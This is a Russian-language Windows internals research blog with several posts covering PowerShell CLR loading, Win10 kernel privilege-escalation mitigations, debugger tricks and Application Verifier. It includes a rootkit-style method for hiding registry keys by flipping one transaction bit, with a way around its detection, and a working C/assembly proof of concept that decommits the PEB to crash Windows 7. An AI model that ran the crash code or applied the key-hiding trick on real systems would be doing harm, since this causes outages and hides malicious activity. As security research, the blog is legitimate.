вторник, 25 апреля 2017 г.

Как заставить powershell загрузить CLR последней версии

Потребовалось мне получить некоторые имена функций из powershell, казалось бы качай pdb и дело в шляпе, ан нет.

Powershell это по сути фронтенд .NET Framework, со всеми вытекающими ввиде JIT и предварительно скомпилированными через Native Image Generator сборками. Сборки естественно генерятся под целевую платформу и логично, что символьные сервера микрософт никаким образом не могут содержать pdb для NI файлов.

Однако, в 4й версии фреймворка NGEN обзавелся параметром createpdb, и символы можно получить примерно так:

ngen.exe createpdb "C:\Windows\assembly\...\mscorlib.ni.dll" "C:\SymbolCache"

Соответственно, после получения символов задача должна быть решена. Но powershell подложил свинью, в виде загружаемого рантайма версии 2.0. А NGEN этой версии не имеет параметра для создания pdb. Далее пришлось раскапывать, как powershell узнает, какую версию рантайма грузить.

Недолгие поиски привели к реестру:

wmain => GetRegistryInfo(&NETversion) => RegQueryREG_SZValue(L"RuntimeVersion")

В реестре была видна версия 2.0:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine]
"ApplicationBase"="C:\\Windows\\System32\\WindowsPowerShell\\v1.0"
"PSCompatibleVersion"="1.0, 2.0"
"RuntimeVersion"="v2.0.50727"
"ConsoleHostAssemblyName"="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil"
"ConsoleHostModuleName"="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell.ConsoleHost.dll"
"PowerShellVersion"="2.0"

Ради любопытства я посмотрел как именно грузится рантайм:

wmain => LaunchManagedMonad => CorBindToRuntimeEx(NETversion)

Ну и все, что оставалось сделать, это внести последнюю версию рантайма(v4.0.30319), и после небольшой возни с доступами к защищенной ветке powershell'а дело было сделано.

Меняем и сравниваем:

Было:  LoadLibraryExW(C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\fe70d777535c215f4fe9f9def2b4c815\mscorlib.ni.dll)
Стало: LoadLibraryExW(C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\b7a12c4c0032847fcc6b9c710460456f\mscorlib.ni.dll)

Все имена функций прекрасно распознались:

Было:  0x792F123C (mscorlib.ni.dll)
Стало: System.AppDomain.SetupDomain(0x79A61212) (mscorlib.ni.dll)

четверг, 20 апреля 2017 г.

Another one EOP mitigation

В win10(10.0.15063) прикрыли еще одну возможность повышения привилегий, про первую я писал тут: http://kitrap08.blogspot.ru/2016/10/win10-securitydescriptor.html

Вторая заключается в обнулении не SecurityDescriptor'а, а флага Enabled в SEP_TOKEN_PRIVILEGES:

kd> dt nt!_TOKEN -r1
   +0x000 TokenSource      : _TOKEN_SOURCE
      +0x000 SourceName       : [8] Char
      +0x008 SourceIdentifier : _LUID
   +0x010 TokenId          : _LUID
      +0x000 LowPart          : Uint4B
      +0x004 HighPart         : Int4B
   +0x018 AuthenticationId : _LUID
      +0x000 LowPart          : Uint4B
      +0x004 HighPart         : Int4B
   +0x020 ParentTokenId    : _LUID
      +0x000 LowPart          : Uint4B
      +0x004 HighPart         : Int4B
   +0x028 ExpirationTime   : _LARGE_INTEGER
      +0x000 LowPart          : Uint4B
      +0x004 HighPart         : Int4B
      +0x000 u                : <unnamed-tag>
      +0x000 QuadPart         : Int8B
   +0x030 TokenLock        : Ptr32 _ERESOURCE
      +0x000 SystemResourcesList : _LIST_ENTRY
      +0x008 OwnerTable       : Ptr32 _OWNER_ENTRY
      +0x00c ActiveCount      : Int2B
      +0x00e Flag             : Uint2B
      +0x010 SharedWaiters    : Ptr32 _KSEMAPHORE
      +0x014 ExclusiveWaiters : Ptr32 _KEVENT
      +0x018 OwnerEntry       : _OWNER_ENTRY
      +0x020 ActiveEntries    : Uint4B
      +0x024 ContentionCount  : Uint4B
      +0x028 NumberOfSharedWaiters : Uint4B
      +0x02c NumberOfExclusiveWaiters : Uint4B
      +0x030 Address          : Ptr32 Void
      +0x030 CreatorBackTraceIndex : Uint4B
      +0x034 SpinLock         : Uint4B
   +0x034 ModifiedId       : _LUID
      +0x000 LowPart          : Uint4B
      +0x004 HighPart         : Int4B
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
      +0x000 Present          : Uint8B
      +0x008 Enabled          : Uint8B <===================== обнуляем, получаем полный доступ к процессу(EOP)
      +0x010 EnabledByDefault : Uint8B

Более подробный анализ тут: http://anti-reversing.com/Downloads/Sec_Research/ntoskrnl_v10.0.15063_nt!_SEP_TOKEN_PRIVILEGES-Single_Write_EoP_Protect.pdf

вторник, 31 января 2017 г.

Можно ли скрыть ключ в реестре изменив 1 бит?

Таким вопросом я задался когда-то давно, и тогда же получил ответ, а сейчас хочу его озвучить.

Как вообще скрывают ключи в реестре? Хуками, фильтрами и ... и похоже на этом моя фантазия исчерпалась. Но все это требует довольно много кода. Как это коррелирует с заголовком топика? Да никак.

Тем не менее, изменив 1 бит можно скрыть любой ключ реестра. Как это возможно?

Это возможно, если установить CM_KEY_CONTROL_BLOCK *keyCtrlBlock->TransKCBOwner не равным нулю, то есть достаточно установить 1 бит, чтобы сделать ключ реестра невидимым для regedit и системы в целом.

Как такое возможно? Все дело в транзакциях, именно так они работают.

NtOpenKey => CmpBuildHashStackAndLookupCache => CmpCacheLookup => CmRmIsKCBVisible => if (CM_TRANS *transOwner = keyCtrlBlock->TransKCBOwner ) != NULL ).

Собственно, в этом и кроется ответ, достаточно изменить один бит в keyCtrlBlock->TransKCBOwner и ключ реестра станет невидимым для любых существующих антивирусов и антируткитов.

Как это ловить? Да очень просто, перечисляем транзации, сравниваем их хендлы с keyCtrlBlock->TransKCBOwner, если не равно - руткит активность!

А можно ли обойти то, что описано выше? Естественно! Просто создаем валидную транзакцию, которая скрывает ключ реестра, но восстанавливает/удаляет ее когда нужно!

Что такое транзакции и как они работают я постараюсь описать в следующих постах.

четверг, 13 октября 2016 г.

Win10 теперь защищена от обнуления SecurityDescriptor

В Win10 закрыли еще один вектор атаки, основанный на обнулении SecurityDescriptor'а у процесса с высокими привилегиями. Сама атака описана довольно давно в https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf.

В Win10 добавили несколько проверок, которые задействуются при доступе к securable object'ам и теперь, при обнуленном SecurityDescriptor'е, ОС будет падать в BSOD с кодом BAD_OBJECT_HEADER.

Нужно заметить, что атака описанная на BH была довольно эффективной, т.к. никакие защитные механизмы ОС типа SMEP эту самую ОС от данной атаки никак не защищали, так как никакой payload не выполнялся. Впрочем, данный тип атаки основывался на возможности записи NULL в любую область памяти ядра. Соответственно, подобную защиту можно будет обойти при возможности писать любое значение в память ядра простым обнулением DACL в SecurityDescriptor'е.

среда, 9 марта 2016 г.

Еще один способ использования BURNMEMORY

Лет 5 назад был пост про BURNMEMORY опцию (http://kitrap08.blogspot.ru/2011/12/burnmemory.html), задаваясь вопросом - а зачем оно вообще нужно. В комментах были даны ответы, но сейчас мне встретился еще один вариант использования BURNMEMORY/removememory, и этот вариант уже имеет непосредственное отношение к практике.

Встретился мне этот вариант в доке: Intel Debug Extensions for WinDbg* for Intel Processor Trace.

Intel Processor Trace это новая фича процессоров Intel 6й серии(Skylake), которая суть есть трассировка выполнения с низким оверхедом. Данные трассировки будут скидываться в память, конфигурировать которую нужно через BIOS / UEFI firmware, но только в том случае, если это самое firmware поддерживает данную фичу. А вот если не поддерживает, то на помочь придет как раз  BURNMEMORY/removememory.

Так как именно эти опции позволят сказать ОС, чтобы она не трогала данную память, в которую будут складываться данные трассировки.

Ну и третий вариант - опция badmemory.

пятница, 4 марта 2016 г.

Verifier

Потребовалось мне, для своих нужд, проинжектировать dll и перехватить в процессе некоторые функции. Да так, чтобы кода было минимум, без всяких там сторонних движков и прочих detours'ов.

Всем этим требованиям удовлетворяет механизм verifier'a. Вот только штука эта отладочная и даже системные приложения не идеальны и полны разного рода косяков и багов. Соответственно verifier начинает проверять, ворчать и сыпать брекпойнтами на любой чих. В отладчике соответственно видно что-то типа такого:

VERIFIER STOP 00000210: pid 0x464: Critical section not initialized.

    759C08C0 : Critical section address.
    008A0BF0 : Critical section debug info address.
    00000000 : Not used.
    00000000 : Not used.
   
Или такого:

VERIFIER STOP 00000006: pid 0x464: corrupted heap pointer or using wrong heap

    00EF1000 : Heap used in the call
    05A507F0 : Heap block
    00000214 : Block size
    80DF1000 : Heap owning the block

При отсутствующем отладчике, соответственно, получим необрабатываемое исключение в том процессе, куда мы заинжектили dll и все благополучно упадет.

В большинстве случаев, брякается все это дело в VerifierStopMessageEx в verifier.dll. А в самом начале функции стоит следующая проверка:

if ( AVrfpProcessBeingTerminated || !AVrfpStopInitialized )
    return 0;
   
То есть бряки перестанут сыпаться, если установить AVrfpProcessBeingTerminated в TRUE. Осталась задача - легко найти эту переменную. VerifierStopMessageEx не экспортируется, а вот VerifierStopMessage экспортируется и имеет в начале нужную переменную:

.text:1124B860 _VerifierStopMessage@40 proc near
.text:1124B860                 mov     edi, edi
.text:1124B862                 push    ebp
.text:1124B863                 mov     ebp, esp
.text:1124B865                 sub     esp, 1Ch
.text:1124B868                 mov     [ebp+var_1C], 0
.text:1124B86F                 mov     [ebp+var_18], 0
.text:1124B876                 mov     [ebp+var_14], 0
.text:1124B87D                 mov     [ebp+var_8], 0
.text:1124B884                 cmp     _AVrfpProcessBeingTerminated, 0
.text:1124B88B                 jnz     short loc_1124B896

Соответственно, найти ее становится элементарным делом. И после нахождения данной переменной и установки ее значения в TRUE, из своей инжектированной dll, все проблемные int 3 более не вызывались.

P.S. К слову, verifier оказался хотя и удобным решением, но тем не менее, не без недостатков. Оказалось, что он перехватывает не все. К примеру, ZwContinue он перехватывать отказался, хотя LdrLoadDll из той же ntdll.dll перехватил.

пятница, 22 января 2016 г.

Peb decommit bug

Старый добрый DOS с декоммитом Peb валит win7 в BSOD:

 void FreePeb()
{
    PVOID pebAddress = NULL;
    
    __asm
    {
        mov eax, DWORD ptr fs:[0x30]
        mov DWORD ptr [pebAddress], eax
    }

    VirtualFreeEx( GetCurrentProcess(), pebAddress, 0, MEM_DECOMMIT );
}

int wmain( int argc, wchar_t *argv[] )
{   
    FreePeb();

    for ( unsigned int i = 0x1000; i < 0x2000; i++ )
    {
        __asm
        {
            push 0
            push 0
            push 0
            push 0
            push 0
            push retSysenter
            mov edx, esp
            mov eax, dword ptr [i]
            sysenter
retSysenter:
            add esp, 5*4
        }
    }

    cin.get();
    return 0;
}

А на win10 данный DOS уже не работает, PEB декоммитнуть больше не получится из-за новых битов защиты:

VirtualFreeEx => NtFreeVirtualMemory => MiCheckSecuredVad => возвращает STATUS_INVALID_PAGE_PROTECTION(0xC0000045)

У сожалению нет возможности проверить точную версию ОС, где был пофикшен данный баг, возможно это случилось в dev builds win10 или даже еще раньше.